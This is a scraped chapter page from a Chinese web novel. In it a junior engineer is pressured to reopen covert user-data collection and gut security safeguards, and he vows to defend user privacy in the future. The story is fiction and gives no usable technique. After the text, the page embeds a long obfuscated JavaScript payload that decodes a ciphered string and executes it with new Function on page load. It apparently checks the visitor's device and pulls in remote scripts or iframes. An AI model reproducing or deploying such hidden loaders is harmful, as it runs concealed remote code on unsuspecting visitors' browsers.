首页
前传第66章 底层技术人,无
返回

前传第66章 底层技术人,无话语权的无奈

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    前传第66章底层技术人,无话语权的无奈(第1/2页)
    会议结束的余凉,久久散不去。
    下午四点半的办公区,依旧是一片死寂的忙碌。没有人闲聊,没有人摸鱼,所有人的指尖都在键盘上飞速起落,清脆的敲击声堆叠成一堵密不透风的墙,将所有情绪、所有不甘、所有细微的挣扎,都死死困在工位方寸之间。
    龙胆草坐回自己的位置,背脊依旧挺得笔直,只是肩线绷得极紧,透着一股无声的疲惫。
    窗外的天色彻底沉了下来,深秋的白昼格外短暂,乌云压着写字楼的楼顶,遮挡住最后一点细碎的天光。室内惨白的LED灯光铺在桌面,映着屏幕上被驳回的优化方案,二十页详实严谨的技术报告,此刻像一个巨大的、无声的笑话。
    方才会议室里的冷眼、沉默与敲打,还清晰地刻在心底。
    周明那句“本末倒置,缺乏大局观”,张姐那句“太年轻,太理想化”,还有满室同事事不关己的漠然,层层叠叠萦绕在耳边,压得人喘不过气。
    他不是不懂职场规则,也不是全然不通人情世故。
    寒窗十余载,从贫瘠小城走到顶尖学府,再手握稀缺校招offer跻身头部大厂,他见过人情冷暖,懂过取舍权衡。只是在数据安全这件事上,他的底线,从来没有松动过半分。
    技术是刀,可护人,亦可伤人。
    他见过普通人因为信息泄露被无休止催收骚扰,见过独居女生隐私曝光遭遇恶意跟踪,见过小微企业核心数据被倒卖一夜破产。那些真实的、细碎的、无人在意的人间苦难,是他扎根技术、坚守安全的全部初心。
    可这一刻,他第一次无比清晰、无比刺骨地认清一个现实:在资本主导的互联网职场里,底层技术人,从来没有话语权。
    你的专业严谨,抵不过一句流水下滑。
    你的风险预判,抵不过一次KPI考核。
    你的底线坚守,抵不过管理层一句商业优先。
    技术人毕生追求的精准、安全、公正,在商业利益面前,轻如鸿毛,不值一提。
    鼠标光标在文档页面轻轻闪烁,龙胆草沉默片刻,指尖落在键盘上,开始修改那份被全盘否定的方案。
    他没有再争执,没有再辩解,也没有再试图据理力争。
    不是妥协,是骤然清醒。
    初入职场的少年人,总以为道理可讲,对错可辨,专业可以征服规则。可现实狠狠告诉他,在层级分明、利益至上的职场体系里,底层执行者的声音,本就无人倾听。
    他按照周明的要求,逐条推翻自己熬了三个通宵打磨的安全壁垒。
    第一步,恢复全部静默授权采集通道。
    代码一行行改写,原本被他彻底封堵的灰色采集端口,重新被逐一解锁。后台原本严苛的隐私拦截机制,被手动调低权限,无数普通用户的浏览痕迹、位置信息、行为数据,将再次被平台无声抓取、归类、画像,成为流量变现的原材料。
    每敲下一行代码,龙胆草的心就沉下去一分。
    指尖是熟悉的代码逻辑,心底是翻涌的愧疚与无力。
    他明明知道,这些看似不起眼的采集端口,是无数数据泄露隐患的源头;他明明预判得到,过度抓取的隐私数据,会流入灰色产业链,成为收割普通人的工具;他明明有能力、有技术堵住所有漏洞,却只能眼睁睁看着自己亲手放开防线。
    第二步,删减深度风险排查模块。
    他删掉了整整四页的极端场景漏洞推演,删掉了第三方接口溯源监控程序,删掉了多层加密防护的备用机制。
    原本可以抵御顶级爬虫、黑客渗透、数据盗爬的防护体系,被硬生生阉割成一层徒有其表的外壳。只剩下公示页面上好看的安全参数,应付监管检查,应付用户观感,唯独应付不了真实的风险。
    第三步,保留所有商业变现模块,只做表面化优化。
    所谓的职场大局观,说到底,就是舍弃安全,保全利益;舍弃底线,保全数据;舍弃长远,保全当下。
    工位隔壁的老同事老李,偷偷侧过头,看了一眼他屏幕上的修改内容,压低声音叹了口气,带着过来人的麻木与无奈:“早这样就对了,年轻人,别跟公司较劲,更别跟领导的决策较劲。”
    老李入职八年,是部门资历最老的技术员工,技术扎实、勤恳踏实,却始终停留在基层岗位,没有升职,没有话语权。
    他见过太多像龙胆草这样的新人,一腔热血、满身理想,带着技术初心闯入职场,最后要么被磨平棱角,乖乖顺从规则,要么意气用事负气离职,白白浪费一身天赋。
    龙胆草指尖未停,视线盯着屏幕,声音低沉平静:“明知有风险,也要放任不管吗?”
    “风险?”老李轻笑一声,笑意里满是职场打磨后的疲惫与通透,“风险有流水重要吗?有KPI重要吗?有公司股价重要吗?”
    他靠在椅背上,语速缓慢,句句都是底层技术人的心酸真相:“我们就是打工的,是底层执行工具。上面要盈利,我们就做变现;上面要数据,我们就开端口;上面要合规,我们就做表面功夫。”
    “对错轮不到我们定,风险轮不到我们担,底线更轮不到我们守。你较真,你坚守,最后只会落得不懂变通、不堪重用的名头,被边缘化、被冷藏、被淘汰。”
    “在这个圈子里,听话,比专业重要,顺从,比初心有用。”
    这番话,没有恶意,没有嘲讽,只是最真实、最冰冷的职场真相。
    龙胆草沉默不语,指尖的敲击速度慢了几分。
    他懂老李的无奈。
    八年基层,兢兢业业,磨平了所有棱角,耗尽了所有热血。不是不想坚守,是无数次坚守过后,只换来打压、冷落、无用功,最后只能被迫妥协,随波逐流。
    这就是无数底层技术人的宿命。
    有天赋、有能力、有初心,却唯独没有话语权。
    永远被动执行,永远无力反抗,永远看着自己信奉的专业准则,被一次次碾碎在利益规则里。
    “我刚来的时候,比你还较真。”老李看着他清冷的侧脸,低声继续说道,“当年我牵头做用户隐私升级,也是坚决关停违规采集通道,优化安全漏洞,结果和你一模一样。”
    “领导批评我本末倒置,团队觉得我拖慢进度,项目因为我‘过于保守’流水不达标,最后所有评优、晋升全部落空。熬了半年,看着身边不如我的人纷纷升职加薪,我才彻底想通。”
    (本章未完,请点击下一页继续阅读)前传第66章底层技术人,无话语权的无奈(第2/2页)
    “职场从来不需要理想主义的技术人,只需要听话的、好用的、能创造利益的工具人。”
    办公室的空调风再次吹过来,凉丝丝的,穿透单薄的衬衫,渗入骨血里。
    龙胆草终于停下指尖的动作,屏幕上的方案已经彻底修改完毕。
    完美贴合商业需求,完美适配KPI指标,完美顺从职场规则,唯独辜负了技术初心,辜负了安全底线,辜负了那些信任平台的普通用户。
    一份毫无瑕疵的商业方案,一份千疮百孔的安全方案。
    他看着屏幕,久久没有说话。
    心底那片干净赤诚的天地,第一次被现实撕开一道裂痕。
    他一直以为,技术是底气,专业是话语权,只要自己足够优秀、足够严谨、足够坚守,就总能守住对错底线,总能让专业战胜功利。
    可现实狠狠告诉他:在资本架构的职场层级里,底层的专业,一文不值。
    管理层不需要你的风险预判,不需要你的长远布局,不需要你的技术向善。他们只需要短期的数据增长、漂亮的报表、好看的流水,只需要所有人无条件服从。
    六点整,下班时间到。
    办公区的同事陆续收拾东西离开,有人结伴聚餐,有人赶地铁回家,欢声笑语打破了傍晚的沉闷。
    没有人在意这个角落沉默的少年,没有人在意他刚刚经历的内心拉扯,没有人在意一份被强行篡改的技术方案,藏着多少无奈与不甘。
    职场最残忍的地方就在于:所有的坚守与挣扎,都是你的独角戏。你的痛苦、你的愧疚、你的初心,在旁人眼里,只是多余的矫情。
    张姐收拾好包,路过他工位,停下脚步,居高临下地扫了一眼他的屏幕,见方案已经按要求改好,脸上终于褪去了之前的冷淡,多了一丝敷衍的认可。
    “早听话不就省事了?”她语气平淡,带着职场老人的优越感,“年轻人,多学多看,少自作主张。踏踏实实做好执行,以后机会多的是。”
    说完,不等他回应,便踩着高跟鞋转身离开。
    利落、干脆,不带一丝温度。
    仿佛方才会议室里的敲打、冷眼、否定,从未发生过。
    龙胆草抬头,看着她离去的背影,眼底没有委屈,没有愤怒,只剩下一片沉静的清明。
    他终于彻底看清了这个职场的运行逻辑。
    在这里,没有对错,只有层级;没有初心,只有利益;没有专业敬畏,只有规则服从。
    技术人耗尽心血打磨的安全壁垒,管理层一句话便可全盘推翻;无数用户的隐私安全,抵不过月度报表上几个数据的浮动;深耕多年的职业信仰,抵不过一句职场大局观。
    他坐在空旷了大半的办公区里,打开修改后的方案,逐字逐句浏览。
    每一处妥协的痕迹,每一处刻意保留的漏洞,每一处为盈利让步的修改,都像一根细小的针,轻轻扎在他的心底。
    不剧痛,却绵长酸涩。
    他不是后悔据理力争,恰恰相反,他庆幸自己争取过。
    争取过,才彻底看清职场真相;挣扎过,才彻底明白底层无奈;坚持过,才彻底坚定了未来的方向。
    当下的顺从,不是认输,是蛰伏。
    当下的妥协,不是沉沦,是沉淀。
    他暂时没有话语权,没有改变规则的能力,没有对抗行业乱象的资本。
    一个初入职场的新人,人微言轻,势单力薄,所有的热血与坚守,在庞大的资本体系面前,都不堪一击。
    这就是底层技术人最无力的困境:明知不对,却无力更改;明知有险,却只能放任;明知底线被踏,却只能默默承受。
    天色彻底黑透,窗外整座城市的霓虹次第亮起,高楼林立,车水马龙。
    这座无数年轻人奔赴的繁华都市,藏着无数机遇,也藏着无数冰冷的规则与无声的碾压。
    龙胆草抬手,关掉了文档页面,将所有情绪悉数收敛。
    眼底的青涩褪去,稚嫩消散,取而代之的是一种与年龄不符的沉静与笃定。
    他坐在工位上,静静坐了很久。
    键盘不再作响,思绪翻涌万千。
    他想起自己寒窗苦读的日夜,想起理工楼里以代码为灯的少年时光,想起当初立下的誓言:以技术护人,以专业守心,让数据安全,归于纯粹。
    既然身处底层,无力改变现状,那就沉下心,积蓄力量。
    既然没有话语权,那就拼命变强,直到有一天,自己能掌控规则,能守住底线,能不再被迫妥协,能让技术真正向善。
    此刻大厂的冷眼、职场的打压、底层的无奈、无力的妥协,都将成为未来破土而出的底气。
    夜色渐深,办公区只剩下零星几个加班的人影。
    龙胆草重新打开空白文档,指尖再次落下。
    这一次,他没有再修改商业方案,而是默默新建了一份私密笔记。
    没有KPI,没有管理层要求,没有商业束缚,只有他自己的初心与执念。
    他在文档里,完整记录下这次项目所有被驳回的安全方案、所有被忽略的风险漏洞、所有行业默许的灰色乱象。
    一字一句,工整严谨,悉数留存。
    他默默告诉自己:今日我无力守护的安全,来日,我必亲手筑起屏障。
    今日我被迫妥协的乱象,来日,我必亲手打破重构。
    今日底层无人倾听的呐喊,来日,我必让行业听见。
    无人守底线,我便自守一寸心。
    无人护众生,我便自研一方镜。
    多年后,那套贯穿行业、守护无数用户隐私的五彩绫镜,最初的雏形与执念,便始于这个深秋夜晚的无声蛰伏。
    始于一个底层技术人,看透职场无奈、见过行业寒凉后,依旧未曾熄灭的滚烫初心。
    夜色沉沉,霓虹闪烁。
    少年静坐工位,眼底藏山海,心底有微光。
    底层无话语权的当下,是他传奇人生,最坚定的序章。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();